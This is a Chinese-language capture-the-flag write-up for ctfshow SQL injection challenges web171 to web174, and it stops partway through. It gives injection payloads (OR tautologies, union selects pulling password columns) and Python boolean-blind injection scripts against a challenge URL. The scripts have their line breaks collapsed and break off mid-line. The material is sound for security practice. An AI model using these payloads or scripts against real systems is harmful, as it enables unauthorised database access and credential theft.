sql注入171到185
web171
payload:-1'||1%23
payload:25'or id='26'%23 or的特性,前一个为假则执行后一个
联合注入自然也可
web172
对返回结果进行检查,那么前面那两种打法都不行了,因为放回的数据里面都有username。那么这里我们正常的union注入即可,不去查username即可,如果非要的话也不是不行,to_base64()是可以的!
payload:-1' union select 1,password from ctfshow_user2;%23
web173
换成json的形式去匹配了,那么payload还是一样的。
payload:-1' union select 1,2,password from ctfshow_user3 -- -
web174
布尔盲注
import requestsresult = ''
url = "http://67b52357-7ff6-41fb-bc48-743c43542c13.challenge.ctf.show/api/v4.php?id=1' and "for i in range(1, 47): # 从第1个字符到第45个字符for j in range(32, 127):payload = f"ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j}--+"r = requests.get(url=url + payload)if "admin" in r.text: # 根据实际响应调整判断条件result += chr(j)print(f"Found char {i}: {chr(j)}") # 调试输出break # 找到正确字符后跳出内层循环elif j==126:print(f"超过了长度范围{i-1}")
print("Final result:", result)
import requestsurl = "http://67b52357-7ff6-41fb-bc48-743c43542c13.challenge.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0while True:i = i + 1head = 32tail = 126while head < tail: #由于确定flag一定在可见字符的范围内,所以等左右指针重合时,那就是我们需要的字符了mid = (head + tail) >> 1 #等价于(head+tai